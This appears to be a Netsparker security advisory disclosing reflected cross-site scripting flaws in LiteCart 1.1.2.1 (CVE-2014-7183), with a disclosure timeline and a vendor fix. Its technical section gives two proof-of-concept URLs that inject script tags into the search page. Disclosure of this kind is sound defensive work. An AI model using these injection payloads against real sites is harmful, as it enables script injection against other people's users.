LiteCart 1.1.2.1 Cross Site Scripting

                							

                Information
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Advisory by Netsparker.
Name: Multiple XSS Vulnerabilities in LiteCart
Affected Software : LiteCart
Affected Versions: 1.1.2.1 and possibly below
Vendor Homepage : http://www.litecart.net
Vulnerability Type : Cross-site Scripting
Severity : Important
CVE-ID: CVE-2014-7183
Netsparker Advisory Reference : NS-14-032

Advisory URL
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https://www.netsparker.com/xss-vulnerabilities-in-litecart/

Description
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Several cross-site scripting vulnerabilities where discovered in
LiteCart, an open source project that allows you to create a
e-commerce sites.

Technical Details
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Proof of Concept URLs for XSS in LiteCart:

http://example.com/litecart-1-1-2-1/search.php?query='"--></style></scRipt><scRipt>alert(0x0000C0)</scRipt>

http://example.com/litecart-1-1-2-1/search.php?'"--></style></scRipt><scRipt>alert(0x0000B9)</scRipt>

For more information on cross-site scripting vulnerabilities read the
following article;
https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/.

Advisory Timeline
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23/09/2014 - First Contact
29/09/2014 - Vendor released fix

Credits & Authors
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These issues have been discovered by Onur Yilmaz while testing
Netsparker Web Application Security Scanner.

About Netsparker
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